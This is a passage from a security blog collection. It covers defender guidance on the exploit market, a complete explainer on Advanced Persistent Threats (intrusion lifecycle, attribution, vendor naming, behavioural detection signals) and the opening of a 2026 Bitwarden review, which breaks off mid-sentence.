process](https://www.cisa.gov/coordinated-vulnerability-disclosure-process) represents the disclosure-favouring side of the same debate at the operational level. There is also the broker regulation question. When companies sell powerful exploits and surveillance capabilities to governments, those capabilities can end up used against journalists, dissidents, and political opponents. That has pushed the debate toward export controls and human-rights conditions on the trade, an area that remains unsettled. ## What this means for defenders You are not a buyer or seller in this market, but its dynamics shape your risk directly. 1. **Assume valuable targets attract exploits.** If you run widely deployed, high-value systems, you are the kind of target expensive exploits are built for. Defence in depth matters because a single flaw may already be exploitable. 2. **Patch speed is your lever against the gray market.** The whole model depends on flaws staying open. Fast, reliable patching shortens the window in which any exploit works and directly erodes its value. 3. **Support the legitimate channel.** Bug bounties and coordinated disclosure move flaws toward being fixed. Backing that channel is one of the few ways defenders influence the supply side. See [The Bug Bounty Economy Explained](/bug-bounty-economy-explained). 4. **Watch what is actually being used.** Most day-to-day attacks use known, patchable flaws, not exotic zero-days. Track real-world exploitation and fix what is under active use first. The exploit market is not going away, because both defence and offence are willing to pay for the same thing. The realistic goal is to make your own systems patch fast enough that whatever a flaw was worth, it is not worth it against you for long. ## How the market took shape The trade in exploits is older than the formal market that surrounds it now. In the early years of the commercial internet, vulnerability information moved informally: researchers posted findings to public mailing lists, vendors reacted at their own pace, and there was little money in the loop. That arrangement created a standoff. Researchers who reported flaws often received no reward and sometimes legal threats, while vendors complained that public disclosure armed attackers before a patch existed. Out of that friction came the two institutions that define the market today. On the defensive side, coordinated disclosure and, later, formal bug bounty programmes gave researchers a legitimate, paid path to report flaws. A vendor commits to fixing reported bugs within a window and to paying for qualifying reports, and in exchange researchers agree to hold public details until a patch ships. This turned a hostile relationship into a transaction and pulled a large volume of vulnerability research into the open. On the offensive side, a parallel market grew for keeping flaws secret rather than fixing them. Buyers who wanted working capability, intelligence agencies, law enforcement, and the contractors who serve them, were willing to pay far more than any bounty, precisely because their value depended on the flaw staying unpatched. Brokers emerged to sit between researchers and these buyers, aggregating supply, vetting quality, and taking a cut. The same discovery that a vendor might reward with a moderate bounty could command a large multiple through a broker, and that price gap is the engine that keeps the gray market supplied. The result is a layered ecosystem where the same raw finding can flow into radically different outcomes depending only on who the finder decides to sell to. Understanding that the structure grew out of a disclosure standoff explains why the ethical debate underneath it has never resolved: the market was built on the unfinished argument about whether flaws should be fixed or kept. ## A vulnerability's journey, three ways To make the channels concrete, follow one hypothetical finding through each path. A researcher discovers a memory-corruption flaw in a widely used mobile messaging app that can be triggered by a specially crafted message with no user interaction. That is a valuable property, because no-interaction bugs against popular platforms sit at the top of the price ladder. What happens next depends entirely on the channel. Down the **bug bounty path**, the researcher writes a report, submits it through the vendor's programme, and works with the security team to confirm the issue. The vendor develops a patch, ships it to every user, credits the researcher, and pays the bounty. The flaw is now closed for everyone. The researcher's reward is bounded by what the programme offers, and the capability is destroyed the moment the patch lands. Down the **broker path**, the researcher instead approaches a broker who buys offensive capability. The broker validates that the exploit is reliable, negotiates a price far above any bounty, and resells it to a government customer. The vendor never learns of the flaw, so no patch ships, and the capability keeps working against every up-to-date device until someone else independently finds and reports the same bug. The researcher earns more, and every user of that app remains exposed for as long as the secret holds. Down the **black-market path**, the researcher sells to a criminal buyer who wants to use the exploit for profit. Here the capability is turned directly against victims, folded into the same underground economy that trades stolen data and network access. The payout may be lower than a top-tier broker deal, with more risk to the seller, and the harm is immediate. The point of the comparison is that the technical artefact is identical in all three cases. The same exploit, the same reliability, the same target. Everything that differs, the payout, the legality, and the consequence for millions of users, is a function of the destination the finder chose. That is the moral weight the market places on a single decision. ## Detection signals for defenders You cannot watch the exploit market directly, but its output leaves traces, and a defender can build signals around the moments when a private capability becomes a public problem. - **A patch with a terse advisory and signs of active use.** When a vendor ships an out-of-cycle fix and describes a flaw as exploited in attacks, that language often marks a capability crossing from secret to known. Treat such advisories as the highest priority in your patch queue. - **Exploitation before broad disclosure.** Telemetry showing a flaw being used against a small set of targets before any public detail exists is the fingerprint of a bug that lived in the gray market. Threat-intelligence feeds that flag in-the-wild exploitation are the practical way most teams see this. - **A sudden cluster of scanning for a freshly disclosed flaw.** Once a bug is public and patched, commodity actors race to exploit unpatched systems. A spike in probes for a specific endpoint or version string is the market's downstream echo, the phase where a formerly expensive capability becomes cheap and widely used. - **Anomalies consistent with no-interaction compromise.** Devices showing signs of compromise without any user action, no clicked link, no opened file, are the profile of a zero-click exploit, which is the class the offensive market prizes most and prices highest. - **Vendor credit patterns in advisories.** Over time, tracking which flaws were reported through disclosure versus discovered in attacks tells you where a given product's risk is concentrated and how much of its research is flowing to defensive channels. The defensive throughline is that your visibility begins at disclosure. Everything before that, the discovery, the sale, the private use, is outside your view, which is why speed after disclosure is the lever you actually control. ## Common misconceptions **"Zero-days are the main way I will get attacked."** For most organisations the opposite is true. The overwhelming majority of real-world compromises use known, already-patched flaws against systems that were slow to update. Zero-days are expensive and reserved for high-value targets, so unpatched known bugs deserve your attention first. **"The gray market is illegal."** In many jurisdictions it operates legally and openly, with brokers running as registered companies. Legality is exactly why it is called gray rather than black. The debate around it is about export controls and human-rights conditions, which are still being written. **"A high price means a bug is more dangerous to me personally."** Price reflects offensive utility against hardened, widely deployed targets, not the everyday risk to a specific organisation. A cheap, well-known flaw on an internet-facing server you forgot to patch is far more likely to hurt you than a million-dollar mobile chain. **"Disclosure always makes everyone safer immediately."** Disclosure starts a race. Patching closes the flaw for those who update quickly, and it also arms every attacker who now knows the bug exists. The safety benefit is real but it depends on defenders patching faster than opportunists can weaponise the public details. **"Bug bounties let companies buy silence cheaply."** A functioning programme is a supply-side intervention that moves flaws toward being fixed. It competes, imperfectly, with the offensive market for the same researchers, and the flaws it captures end up patched for everyone rather than held in secret. You do not buy or sell in this market, yet its economics set your exposure. Every unpatched flaw on your estate is, in effect, inventory that someone else may already hold. Fast, reliable patching does two things at once: it shrinks the window in which any given exploit works against you, and it lowers the value of that exploit to whoever is holding it. You cannot change what a capability is worth in the abstract, but you can make it worthless against your own systems sooner than the attacker expected. ## Frequently asked questions **What exactly is the difference between a vulnerability and an exploit?** A vulnerability is a flaw in software that could allow unintended behaviour. An exploit is the working code that reliably turns that flaw into a real attack. The vulnerability is the possibility; the exploit is the proven method. The market pays for exploits because reliable, weaponised code is far harder to produce than a bug report. **Why would a government pay more for a flaw than the vendor that made the software?** Because they want opposite things. The vendor pays to learn about the flaw and close it, which ends its usefulness. A government buyer pays to keep it open and usable as an intelligence or law-enforcement capability. Secrecy has a higher value to the buyer who needs the flaw to keep working than a fix has to the vendor, so the offensive price runs well above the bounty. **What makes an exploit expensive?** Chiefly: how hard the target is to exploit, how many devices run it, whether the exploit needs any user interaction, whether it works reliably every time, and how long it is expected to survive before being independently found and patched. A reliable, no-interaction exploit against a hardened, ubiquitous platform sits at the top; a fragile bug in niche software sits near the bottom. **What is exploit longevity and why does it matter to price?** Longevity is how long a flaw is expected to keep working before it is discovered and fixed by someone else. A bug in heavily audited code may be short-lived and therefore cheaper, because the buyer gets less use out of it. A bug in a quiet, rarely reviewed corner of a codebase can survive for years and commands a premium for that expected lifespan. **Is buying or selling exploits ethical?** It depends who you ask and which channel. Selling to a bug bounty is broadly accepted, because the flaw gets fixed. Selling to a broker who supplies governments is legal in many places but ethically contested, especially when capabilities reach regimes that use them against journalists and dissidents. Selling to criminals is straightforwardly harmful. The same act carries very different weight depending on the buyer. **How does this market affect an ordinary company that is not a spy target?** Indirectly but really. Capabilities built for high-value targets eventually leak, get independently rediscovered, or are folded into criminal tooling once patched, at which point they become cheap and widely used. Your defence is the same regardless of the original buyer: patch fast, layer controls, and assume any internet-facing flaw is being scanned for. **What can defenders learn from watching which flaws are actually used?** That effort should follow real exploitation, not theoretical severity. A moderate-severity flaw under active attack deserves attention before a critical-rated one that no one is using. Tracking real-world exploitation, as opposed to raw vulnerability counts, is how mature teams decide what to fix first. ## Related guides - [Zero-Day Vulnerabilities](/zero-day-vulnerabilities) - [Coordinated Vulnerability Disclosure Explained](/coordinated-vulnerability-disclosure-explained) - [The Bug Bounty Economy Explained](/bug-bounty-economy-explained) - [The CVE System Explained](/the-cve-system-explained) - [Cybercrime as a Service Explained](/cybercrime-as-a-service-explained) ### Sources - MITRE ATT&CK: Exploits (Resource Development, T1587.004) (MITRE): https://attack.mitre.org/techniques/T1587/004/ - MITRE ATT&CK: Obtain Capabilities: Exploits (T1588.005) (MITRE): https://attack.mitre.org/techniques/T1588/005/ - CISA: Coordinated Vulnerability Disclosure Process (CISA): https://www.cisa.gov/coordinated-vulnerability-disclosure-process --- ## What Is an APT? Advanced Persistent Threats Explained > What an Advanced Persistent Threat is: the three words decoded, how APTs differ from crime, the intrusion lifecycle, attribution, and naming schemes. - URL: https://blog.pwnsy.com/what-is-an-apt - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: threat-intel - Tags: apt, threat-intel, attribution, nation-state, mitre-attack - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - An Advanced Persistent Threat is a well-resourced attacker that gets into a network and stays there quietly for a long time to pursue a specific goal, usually espionage. - The label describes the adversary and their behaviour, not a single piece of malware. The defining traits are persistence, patience, and defined objectives, not raw technical wizardry. - APTs differ from commodity crime in motive and time horizon: they select their targets, tolerate long dwell times, and pursue access as a strategic asset rather than a quick payday. - Naming is a mess by design. Every vendor coins its own label (numbered APTs, weather names, animal names), so several names often point at the same group. ### Key Takeaways - APT stands for Advanced (capable and adaptable), Persistent (goal-driven and long-dwelling), and Threat (a human adversary with intent, not just a tool). - The intrusion follows a recognisable lifecycle: reconnaissance, initial access, foothold, privilege escalation, lateral movement, collection, and exfiltration, mapped in detail by MITRE ATT&CK. - Attribution combines technical indicators (infrastructure, code reuse, tooling) with tradecraft patterns and targeting, and it is always a confidence judgement, never a certainty. - Vendor naming schemes conflict: FireEye/Mandiant uses APTxx numbers, CrowdStrike uses animal names tied to suspected sponsor, Microsoft uses weather themes. Cross-reference before you act. - Defending against APTs means assuming breach: reduce dwell time, watch for lateral movement, and hunt inside the network rather than only guarding the perimeter. Most attacks are noisy and fast. Someone phishes a password, drops ransomware, and leaves within days. An Advanced Persistent Threat is the opposite. It is the quiet intruder who got in months ago, moved carefully from machine to machine, and is still reading your email right now. You would not know unless you went looking. The term gets thrown around loosely, often as a marketing badge for any attack that embarrassed someone. It has a precise meaning worth recovering. An APT is a class of adversary, defined by how they operate rather than by any single tool they carry. ## Decoding the three words Each word in the name carries weight, and the popular reading of each is slightly wrong. **Advanced** does not mean the attacker only ever uses novel zero-days and custom malware. Capable APTs frequently use plain phishing, stolen credentials, and off-the-shelf tools, because those work and cost less. What "advanced" really captures is adaptability and resourcing: the group has the funding, the skills, and the patience to escalate to harder techniques when a target demands it. They will burn a rare exploit if they have to. They would rather not. **Persistent** is the core trait. The attacker has a goal and stays until the goal is met, which can mean maintaining quiet access for months or years. Persistence is about intent and dwell time, not about a specific persistence mechanism on a host. A commodity criminal wants to monetise access this week. An APT is content to sit inside a network and collect, waiting for the information or the moment that matters. **Threat** is the reminder that you are facing a human organisation, not a piece of software. There is a team behind the intrusion with objectives, a budget, and a chain of command. When you block one technique, a person on the other side decides what to try next. That adaptiveness is what makes them dangerous. ## How APTs differ from commodity crime The clearest way to understand an APT is to contrast it with the ordinary criminal intrusion that fills most incident reports. | Dimension | Commodity crime | Advanced Persistent Threat | |---|---|---| | Primary motive | Fast financial gain | Espionage, strategic advantage, sometimes sabotage | | Target selection | Opportunistic, whoever is exposed | Deliberate, a specific organisation or sector | | Time horizon | Days to weeks | Months to years | | Dwell time | Short, cash out and leave | Long, access is the asset | | Noise tolerance | High, speed beats stealth | Low, stealth protects the mission | | Resourcing | Limited, reuses kits | Backed by a state or large organisation | The overlap is real and growing. Many financially motivated crews now show APT-grade patience and tradecraft, and some state groups run criminal side operations for funding. The label is a spectrum, not a clean binary. What consistently separates an APT is the combination of a selected target and a willingness to wait. ## The intrusion lifecycle APT operations tend to follow a recognisable sequence. The names vary between frameworks, but the shape holds. MITRE ATT&CK breaks this into tactics (the attacker's goals at each stage) and techniques (the specific ways they achieve them), and it is the standard reference for describing what a group actually did. 1. **Reconnaissance.** Study the target: staff, technology, suppliers, and exposed services. 2. **Initial access.** Get the first foothold, often through phishing, a stolen credential, or an exposed application. Many APTs buy this step from a broker rather than earning it themselves. 3. **Foothold and persistence.** Establish reliable access that survives reboots and password changes, and set up command and control. 4. **Privilege escalation.** Move from a low-privilege account toward administrative control. 5. **Lateral movement.** Spread from the entry point to the systems that hold the target data, using valid credentials to blend in. 6. **Collection.** Gather what the mission requires: documents, mailboxes, source code, credentials. 7. **Exfiltration.** Move the data out quietly, often disguised as normal traffic, sometimes staged over a long period to avoid volume alarms. Mature APTs increasingly avoid custom malware inside the network. They use the tools already present (built-in admin utilities, remote management software, valid accounts) so their activity looks like normal administration. This "living off the land" approach is why signature-based detection alone misses them, and why behavioural hunting matters. ## A walkthrough of a patient intrusion To make the lifecycle concrete, follow a single generic operation from the outside in. No named group, no invented breach, just the shape these campaigns tend to take when you reconstruct them afterward from telemetry. It begins quietly, weeks before any alert could fire. Operators read the target's public footprint: the technologies named in job postings, the suppliers mentioned in press releases, the staff visible on professional networks. They pick a supplier or a contractor with weaker defenses and a trusted connection into the real target, because a trusted path draws less scrutiny than a frontal assault. Initial access arrives as something ordinary. A finance employee opens an attachment that looks like an invoice from a known vendor, or an engineer reuses a password that appeared in an unrelated leak. The payload does little on its own. It establishes contact with the operators and waits. There is no ransomware, no visible damage, nothing that would trip a user's suspicion, because the goal at this stage is a stable, unremarkable foothold. Over the following days the operators escalate carefully. They harvest credentials from the first machine, find an account with broader rights, and use it the way an administrator would. This is the living-off-the-land phase: built-in management tools, legitimate remote-access software, and valid accounts, all of which blend into normal operations. They map the network patiently, learning where the data they came for actually lives, which may be several trusted hops from where they landed. Lateral movement follows the map. Using valid credentials, they reach a file server, a mailbox, or a code repository, and they stage what they want to take. Exfiltration is deliberate and slow, disguised as routine outbound traffic and spread thin enough to stay under any volume alarm. Then, crucially, they stay. The access itself is the prize, so they maintain quiet persistence and return whenever the mission calls for fresh collection. Discovery, when it comes at all, often comes months later and from an external tip rather than an internal alert. That long, silent dwell is the signature of an APT more than any single tool in the chain. ## Attribution basics Attribution is the work of deciding who is behind an intrusion. It is difficult, contested, and never delivers certainty. Analysts build a case from several kinds of evidence. - **Technical indicators.** Infrastructure (domains, servers, certificates), malware code and its reuse across campaigns, and distinctive tooling. - **Tradecraft.** How the group operates: their preferred access methods, working hours, operational mistakes, and habits that persist across intrusions. - **Targeting.** Who gets hit and what gets stolen. A pattern of victims aligned with one government's interests is itself a signal. None of these is conclusive alone. Infrastructure gets reused and shared. Code gets leaked, sold, and copied, so shared malware can point analysts at the wrong group. Sophisticated actors deliberately plant false flags to implicate someone else. Serious attribution is expressed as a confidence level (low, moderate, high) attached to a named cluster, and good analysts revise it as evidence changes. This is why vendors talk about "activity clusters" or "intrusion sets" before they attach a real-world sponsor. The cluster is a set of intrusions that share enough tradecraft to look like one hand at work. Naming the government behind it is a separate, harder claim. ## Why the names are a mess If you have seen the same group called three different things, you are not confused, the industry is. There is no central registry, so each vendor names groups on its own scheme. | Scheme | Style | Example pattern | |---|---|---| | Mandiant / FireEye | Numbered APTs | APT followed by a number | | CrowdStrike | Animal tied to suspected origin | An animal name (bear, panda, kitten, and so on) | | Microsoft | Weather themes | A weather word paired with a descriptor | | Others | Self-coined labels | Vendor-specific codenames | CrowdStrike's animals encode a hypothesis about the sponsor's region, which is useful shorthand but also a claim baked into a name. Microsoft moved to a weather taxonomy to separate the label from the attribution. The practical consequence for a defender is that two reports describing "different" groups may describe the same actor, and you must cross-reference before you decide anything. MITRE ATT&CK maintains a [Groups directory](https://attack.mitre.org/groups/) that maps the aliases to a single tracked entry with its associated techniques, which makes it the best neutral starting point when you need to reconcile the names. A group's name and suspected sponsor will be debated for years. The techniques it uses are observable now. Anchor your detection engineering to the ATT&CK techniques an actor is known for, and you get value regardless of how the attribution shakes out. ## How to defend against an APT You cannot patch your way out of a determined, funded adversary. The strategy is to assume they will get in and to make their time inside expensive and short. 1. **Assume breach.** Design detection and response around intruders who are already past the perimeter, not just controls that keep them out. 2. **Attack dwell time.** The damage an APT does scales with how long it stays. Fast detection of lateral movement and credential abuse is the highest-value investment. 3. **Instrument the inside.** Endpoint and identity telemetry, not just perimeter logs. Living-off-the-land activity only shows up when you watch how accounts and admin tools are actually used. 4. **Segment and least-privilege.** Limit how far a single foothold can reach, so escalation and lateral movement cost the attacker more steps and more risk of exposure. 5. **Use threat intelligence operationally.** Know which groups target your sector and map their known techniques to concrete detections. To see which groups target which industries, and how ransomware crews and access brokers feed the wider ecosystem, our Threat Groups directory tracks tracked actors, their aliases, and the sectors they hit, so you can prioritise the adversaries that actually matter to you. ## How the APT concept evolved The phrase itself came out of defence and government circles in the mid-2000s as a way to name intrusions that behaved unlike ordinary crime: targeted, persistent, and aimed at information rather than money. For years it stayed niche vocabulary among incident responders. Public reporting that mapped specific intrusion sets to their tradecraft brought the term into mainstream security language, and with that visibility came the marketing dilution that still muddies it today, where any embarrassing breach gets branded an APT regardless of the actor's patience or resourcing. The tradecraft has drifted in a consistent direction over that time. Early operations leaned heavily on custom malware, which gave defenders signatures to write. As endpoint detection improved, mature actors moved toward living off the land, valid accounts, and legitimate remote-access tooling, precisely because those evade signature matching and hide in the noise of normal administration. Initial access has also specialised: many groups now buy their foothold from access brokers rather than earning it themselves, which lets the skilled operators spend their time on the parts of the mission that need skill. The result is an ecosystem where the crime economy and the espionage world share tooling and services, and the clean line between financially motivated crews and state-aligned APTs keeps thinning. ## Detection signals: what an APT leaves behind Because mature actors avoid custom malware inside the network, the useful signals are behavioural rather than signature-based. Each of these is individually explainable and collectively suspicious, which is why hunting for APTs means correlating weak signals rather than waiting for one strong alert. - **Valid accounts used in invalid ways.** A service account that suddenly logs in interactively, an admin credential authenticating from a workstation it never touches, or a user active at hours that do not match their time zone. The credential is real, the behaviour around it is not. - **Built-in tools used out of pattern.** Administrative utilities and scripting engines invoked on hosts and by accounts that have no history of using them. Living off the land only hides against a backdrop of no baseline. - **Slow, low-volume beaconing.** Regular outbound callbacks stretched to long intervals to avoid volume alarms. The regularity, not the payload, is the tell, and it survives encryption. - **Persistence that survives cleanup.** Access that reappears after a password reset or a host rebuild suggests multiple footholds and a deliberate effort to stay resident. - **Staging before exfiltration.** Data collected into archives in unusual locations, often compressed and sometimes split, sitting ready to leave in small pieces. - **Reconnaissance from inside.** Enumeration of the directory service, of trust relationships, and of file shares by an account that has no operational reason to map the environment. The unifying theme is that none of these is loud. An APT hunt is an exercise in noticing the absence of a good explanation for ordinary-looking activity, then pulling the thread until a chain of these signals lines up on the same accounts and hosts. ## APT versus adjacent terms The label collides with several neighbouring ideas, and precision helps. The table separates the APT from concepts it is often conflated with. | Term | What it describes | Relationship to APT | |---|---|---| | APT | A well-resourced, patient adversary pursuing a defined goal over long dwell | The adversary itself | | Malware family | A specific piece of code | A tool an APT may use, not the actor | | Nation-state actor | A group sponsored or directed by a government | A common but not universal category of APT | | Ransomware crew | A financially motivated group deploying extortion | Increasingly overlaps APT tradecraft, different motive | | Insider threat | A trusted person misusing access | A separate category, though an APT may recruit or impersonate one | | Activity cluster | A set of intrusions grouped by shared tradecraft | The analytic unit before a real-world sponsor is named | The lesson from the table is that "APT" names the human organisation and its operating pattern. A malware sample or a domain is evidence about an APT, and mistaking the tool for the actor leads defenders to declare victory when they blocked one artifact while the group is still resident behind three others. ## Common misconceptions **"APT means the attack used advanced malware."** Advanced describes the organisation's resourcing and adaptability, not the sophistication of every technique. Capable groups routinely enter through plain phishing and stolen passwords, saving rare exploits for targets that demand them. Judging whether you face an APT by the novelty of the malware misreads the whole concept. **"If we are not a government or a defence contractor, APTs do not target us."** Espionage interest is broad. Suppliers, law firms, universities, technology vendors, and any organisation adjacent to a real target can be a stepping stone or a source. The supply-chain path exists precisely because the ultimate target is well defended and its smaller partners are not. **"Attribution tells us exactly who did it."** Attribution is a confidence judgement built from infrastructure, tradecraft, and targeting, all of which can be shared, leaked, or deliberately faked. Serious analysts attach a confidence level to a named cluster and revise it as evidence shifts. Treating a vendor's group name as a courtroom-grade identification overstates what the evidence supports. **"Once we remove the malware, the intrusion is over."** Removing a payload while leaving the valid accounts, the alternative footholds, and the mapped access intact simply prompts the operator to return through a different door. Eviction of a resident APT is a coordinated operation, not a single cleanup. ## Frequently asked questions **How long does an APT typically stay inside a network?** Long enough to meet a goal, which for espionage can mean months and sometimes years of quiet access. The access itself is the asset, so there is no incentive to leave while collection remains valuable. This is the opposite of commodity crime, where speed to cash-out is the priority. **Are all APTs run by governments?** Many are state-sponsored or state-directed, but the label describes behaviour rather than sponsorship. Some well-resourced criminal organisations now operate with APT-grade patience and tradecraft, and some state groups run financially motivated side operations. The defining trait is a selected target pursued over long dwell, whoever funds it. **How is an APT different from ransomware?** Classic ransomware is fast and loud: encrypt, extort, move on. An APT prioritises stealth and persistence toward a strategic goal, usually espionage. The distinction is blurring, since some crews now dwell quietly for weeks to maximise damage before deploying extortion, borrowing APT tradecraft while keeping a financial motive. **Why do the same groups have so many different names?** There is no central registry, so each vendor assigns its own label from its own scheme: numbered designations, animal names, weather themes, and self-coined codenames. Several names often point at the same actor. The MITRE ATT&CK Groups directory maps the aliases to a single tracked entry, which makes it the practical place to reconcile them. **Can a small organisation realistically defend against an APT?** You cannot outspend a funded adversary on prevention, but you can raise their cost and shorten their dwell. Assume breach, instrument identity and endpoints, segment aggressively, and watch for the behavioural signals above. Many intrusions are caught not by blocking entry but by noticing the quiet lateral movement that follows. **What does "assume breach" mean in practice?** It means designing detection and response for an intruder who is already inside, rather than betting everything on perimeter controls that keep them out. In practice that is internal telemetry, least privilege, network segmentation, and active hunting for anomalous use of valid accounts and admin tools, so a foothold does not quietly become full domain access. **How do I know if a report is describing the same group under a different name?** Cross-reference the aliases before you act on the report. The MITRE ATT&CK Groups directory consolidates vendor names into single tracked entries, so a "new" group in one vendor's blog often turns out to be a well-documented actor under another vendor's label. Anchoring to the techniques a group uses, rather than its badge, keeps your detections useful no matter how the naming settles. **Why is dwell time the metric defenders care about most?** The damage an APT does scales with how long it operates undetected inside the network. Every extra week of dwell is more credentials harvested, more systems mapped, and more data staged for exfiltration. Shrinking dwell time, the gap between compromise and detection, limits the mission even when you cannot prevent the initial foothold, which is why fast internal detection outweighs almost any perimeter investment. A team that reliably detects lateral movement within days has already defeated most of what a long, patient campaign was built to achieve. An APT is a patient professional with a goal, not a smash-and-grab. The defence that works is the mirror image: patient, internal, and built on the assumption that the intruder is already here. ## Related guides - [SolarWinds and SUNBURST](/solarwinds-sunburst-explained) - [Nation-State Hacking Explained](/nation-state-hacking-explained) - [Cybercrime-as-a-Service Explained](/cybercrime-as-a-service-explained) - [The MITRE ATT&CK Framework Explained](/mitre-attack-framework-explained) - [The Cyber Kill Chain Explained](/cyber-kill-chain-explained) - [Insider Threats Guide](/insider-threats-guide) ### Sources - MITRE ATT&CK: Groups (MITRE): https://attack.mitre.org/groups/ - MITRE ATT&CK: Enterprise Matrix (MITRE): https://attack.mitre.org/matrices/enterprise/ - CISA: Advanced Persistent Threats and Nation-State Actors (CISA): https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats-and-nation-state-actors --- # Category: passwords ## Bitwarden Review in 2026: Is It Still the Default Pick? > A full review of Bitwarden: the KDF default that took three years to reach existing vaults, the April 2026 CLI supply-chain compromise, the price that doubled, and who should still use it. - URL: https://blog.pwnsy.com/bitwarden-review - Date: 2026-08-28 - Updated: 2026-08-28 - Difficulty: beginner - Category: passwords - Tags: passwords, password-manager, encryption, account-security, review - Related: [Proton Review in 2026: Mail, VPN, Pass and Drive Tested](https://blog.pwnsy.com/proton-review), [Cloud Key Management Explained: KMS, Envelope Encryption, HSMs](https://blog.pwnsy.com/cloud-key-management-explained), [FIDO2 vs WebAuthn vs Passkeys: What Each Name Means](https://blog.pwnsy.com/fido2-vs-webauthn-vs-passkeys) ### TL;DR - Bitwarden has never had a customer vault breach. The clients and the server are open source, Cure53 audits them annually, and the vault is encrypted on your device before it reaches the server. - New accounts have defaulted to PBKDF2-SHA256 at 600,000 iterations since February 2023. Accounts created before that kept their old, lower count for three years, until release 2026.2.1 on 4 March 2026 raised the floor and started upgrading them on unlock. - On 22 April 2026 a malicious build of the @bitwarden/cli npm package was published for about 90 minutes after a compromised GitHub Action in the build pipeline. It stole developer credentials. Vault data and production systems were not affected. - Premium doubled on 21 January 2026, from USD 9.99 a year to USD 19.80, the first increase in ten years. It was announced inside a feature post. - The free tier is still the most generous in the category: unlimited passwords, unlimited devices, passkeys, and hardware-key two-step login at no cost. ### Key Takeaways - The cryptography was never the weak point. The gap between a good default and the vaults that already existed was, and Bitwarden left it open from February 2023 to March 2026. - Argon2id is available and it is not the default. PBKDF2 stays the default for compatibility; switching is a one-time change in the web vault that re-encrypts your key material. - Hardware-key two-step login (FIDO2 WebAuthn) is free. YubiKey OTP and Duo are the two methods behind the paywall, and neither is the one most people need. - Self-hosting is real and heavier than it sounds: the official server asks for 2 GB of RAM, 12 GB of storage and a SQL Server container. Vaultwarden, the unofficial Rust reimplementation, runs the same clients on a Raspberry Pi. - The April 2026 incident is a build-pipeline failure, not a vault failure, and it is the correct thing to judge a password manager on now that the crypto is settled across the whole category. - A USD 19.80 subscription buys integrated TOTP, file attachments and emergency access. None of it strengthens the encryption, which is identical on the free tier. ### FAQ **Q: Is Bitwarden safe in 2026?** Yes, with one caveat worth knowing. Bitwarden has never had a breach of customer vaults. The vault is encrypted on your device with a key derived from your master password, the clients and server are open source, and Cure53 has assessed them annually for years. The caveat is the April 2026 supply-chain incident: a malicious build of the @bitwarden/cli npm package was published for about 90 minutes on 22 April 2026 after attackers compromised a GitHub Action in the build pipeline. It stole developer credentials from machines that installed it. Bitwarden found no evidence that vault data or production systems were touched, and ordinary app and browser-extension users were never in scope. **Q: Did Bitwarden raise its prices?** Yes. On 21 January 2026 Premium went from USD 9.99 a year to USD 19.80, and Families from USD 40 to USD 47.88 for up to six users. It was the first increase in ten years, and the announcement led with new features (vault health alerts, password coaching, more attachment storage) rather than the price. Existing subscribers are told 15 days before the new rate hits their renewal. **Q: Are my old Bitwarden KDF iterations still low?** Probably not any more, and it is worth checking. Bitwarden raised the default for new accounts to 600,000 PBKDF2 iterations in February 2023, but accounts created earlier kept whatever count they were made with, in some cases 100,000 or lower. Release 2026.2.1 on 4 March 2026 raised the minimum to 600,000 and now prompts affected accounts, applying the increase automatically the next time you unlock or log in with your master password. Confirm it under Settings, Security, Keys in the web vault. **Q: Should I switch Bitwarden to Argon2id?** If every device you unlock on is reasonably modern, yes. Argon2id is memory-hard, so it resists GPU and ASIC cracking in a way PBKDF2 cannot, and Bitwarden's defaults (32 MiB of memory, 6 iterations, 4 threads as of August 2026) sit above the OWASP baseline. PBKDF2 remains the default for compatibility. The switch happens in the web vault, re-encrypts your key material, and logs you out everywhere, so do it when you can log back in on each device. **Q: Is Bitwarden Premium worth USD 19.80 a year?** It depends on one feature. Premium adds integrated TOTP codes, file attachments, emergency access, vault health reports, and YubiKey OTP or Duo as two-step methods. The encryption is identical to the free tier. If you want your TOTP codes in the same vault as your passwords, it is worth it. If you keep your second factor in a separate app, which is the stronger arrangement, the free tier already does what you need. **Q: Bitwarden or Vaultwarden for self-hosting?** Vaultwarden for a home server, the official server for an organisation that needs support. Vaultwarden is an unofficial Rust reimplementation of the Bitwarden server API, so the official clients all work against it, and it runs in one container on a Raspberry Pi. The official self-hosted server asks for 2 GB of RAM, 12 GB of storage and a SQL Server container as its stated minimum. Whichever you pick, you now own backups, TLS and updates, and a password vault is the worst thing to be casual about hosting. **Q: Has Bitwarden ever been hacked?** Its vaults have not been. The April 2026 npm incident affected the distribution of one command-line package, not the vault service. In 2023, Flashpoint published a report on autofill inside embedded iframes, an issue Bitwarden had known about since 2018 and had accepted to keep legitimate sites working; Bitwarden then restricted autofill on page load to trusted domains and added a warning. Autofill on page load is off by default. **Q: Who owns Bitwarden?** Bitwarden Inc., a private company based in Santa Barbara, California. In September 2022 it took a USD 100 million growth investment led by PSG, with Battery Ventures participating, and PSG took a minority position and board seats. That is US jurisdiction and institutional capital on the cap table, which is the structural reason to check what the free tier looks like each year rather than assume it. Bitwarden is the password manager most security people recommend by default, and the reasons are easy to check: open-source clients and server, an annual third-party assessment, a vault encrypted on your device before it reaches anyone, and a free tier that has never been crippled to sell the paid one. None of that has changed. What changed in the last three years is everything around it. A default that improved in 2023 did not reach existing vaults until 2026. A build pipeline was compromised. The price doubled. Those are the parts worth a review. Companion reading: [the password manager roundup](/best-password-managers) ranks Bitwarden against seven rivals. This page is the verdict on Bitwarden alone. ## The verdict, up front **Rating: 4.5 / 5.** Use [Bitwarden](/ref/bitwarden) if you want a vault whose code you or anyone else can read, whose encryption you can verify, and whose free tier is enough for one person. Pay the USD 19.80 only if you want your TOTP codes in the same vault as your passwords. Look elsewhere if you refuse to keep a vault on someone else's server, in which case [KeePassXC](https://keepassxc.org/) is the honest answer, or if you want a second locally-held factor built into the key derivation, which is 1Password's Secret Key. Two things stop it being a 5. Bitwarden left three years between raising the KDF default and raising the floor under the accounts that already existed. And in April 2026 its release pipeline shipped malware to npm. ## What you are actually buying The vault is encrypted on your device. Your master password goes through a key derivation function to produce the encryption key, and the server receives ciphertext plus a separately-derived authentication hash. Bitwarden cannot read your entries, and a full server compromise yields encrypted blobs whose difficulty depends entirely on your master password and your KDF 